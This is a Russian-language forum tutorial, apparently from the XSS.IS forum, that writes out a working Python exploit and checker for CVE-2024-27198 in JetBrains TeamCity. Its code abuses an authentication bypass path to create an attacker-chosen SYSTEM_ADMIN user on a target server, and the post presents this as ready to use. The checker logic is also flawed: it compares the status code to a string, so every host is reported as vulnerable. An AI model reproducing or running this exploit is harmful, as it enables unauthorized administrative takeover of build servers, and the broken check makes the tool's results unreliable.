Пишем эксплойт+чекер на CVE-2024-27198

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Статью написал Эрмано
Специально для XSS.IS

Сегодня я реши написать сразу 2 статьи: одну с разбром уязвимости, а другую с написанием эксплойта + чекера для уязвимости.
Писать мы будем на Python, так как это довольно быстро и практично.
Описание уязвимости я оставил в прошлой статье: https://xss.is/threads/123423/


Библиотеки
Я буду использовать только requests да и что то больше нам не нужно.

Требования
Соблюсти все условия(описал в вышеуказанной статье).
Иметь прямые руки и пустую, свежую голову.


Разработка

Каждая работа начинается одинаково - импорт библиотек:
Python: Скопировать в буфер обмена
import requests

Далее прописываем вывод доступных команд и модуль их выбора:
Python: Скопировать в буфер обмена
Код:
print("Available commands: help, check, exploit, exit")

# command input
command = input("Enter command: ")

Потом делаем эндпоинты(для чекера и для эксплойта):

Python: Скопировать в буфер обмена
Код:
# Payload and checking path
check_path = "endpoint1?jsp=/app/rest/server;.jsp"
payload_path = "endpoint2?jsp=/app/rest/users;.jsp"

Когда начало положено, нам нужно прописать цикл, в котором пользователь будет выбирать команды, делать мы его будем с помощью конструкции switch-case while-true, реализованной в Python3.10, а также функцию эксплойта с проверкой:
Python: Скопировать в буфер обмена
Код:
def exploit():
    target_host = input("Enter target host(with '/' on the end): ")
    exploit_host = target_host+payload_path
    print(exploit_host)

    username = input("Enter username: ")
    password = input("Enter pass: ")
    email = input("Enter email: ")

    # headers
    headers = {
        'Accept':'*/*',
        'Content-Type': 'application/json'
    }

    # payload
    payload = {
        "username":username,
        "password":password,
        "email":email,
        "roles":{
            "role":[
                {
                    "roleId":"SYSTEM_ADMIN",
                    "scope":"g"
                }
            ]
        }
    }

    exploiting = requests.post(url=exploit_host, json=payload, headers=headers)

    print(exploiting)
    if exploiting.status_code == 200:
        print(f"\nSuccess!\nUsername:{username}\nPassword:{password}\nemail:{email}")
    elif exploiting.status_code == 400:
        print("Exploit failed.\nUser already exist")

while command != "exit":
    if command == "help":
        print("")
        print("Available commands: help, check, exploit, exit")
        print("Enter host with '/' in the end")
        print("Script checking/exploiting CVE-2024-27198\n More: https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/")
        print("")
        command = input("Enter command: ")
        print("")
    elif command == "check":
        target = input("Enter host(example: http://ip:port/ or https://site.com/): ")
        checking = requests.get(target + check_path)
        if checking.status_code != "200":
            print("")
            print("Target host is vulnerable")
        else:
            print("")
            print("Host is possibly vulnerable")
        print("")
        command = input("Enter command: ")
    elif command == "exploit":
        exploit()
        print("")
        command = input("Enter command: ")
    elif command == "exit":
        break
    else:
        print("")
        command = input("Enter command: ")

Тестирование
Теперь, когда наш эксплойт полностью написан, мы можем приступить к тестированию.
1727192794081.png


Удаляем всех юзеров. И запускаем нашу программу

1727193327292.png


Я немного приукрасил его.

Видим, что наш эксплойт запустился, пробуем проверит наше окружение(заранее, знаем, что оно уязвимо):
1727193311892.png


Отлично, пока всё штатно работает, пробуем проэксплуатировать уязвимость:

1727193404210.png


Всё получилось! Как мне говорит программа, был создан юзер(креды которого мы сами и указали) и теперь мы можем залогиниться, думаю стоит проверить:
1727193486345.png


Отлично! Всё работает, а мы с вами, только что написали свой первый эксплойт и чекер.

Итог
Сегодня мы написали свой эксплойт и чекер для CVE-2024-27198, и это очень здорово.
С вами был Эрмано, всем хорошего кодинга!
 
Сверху Снизу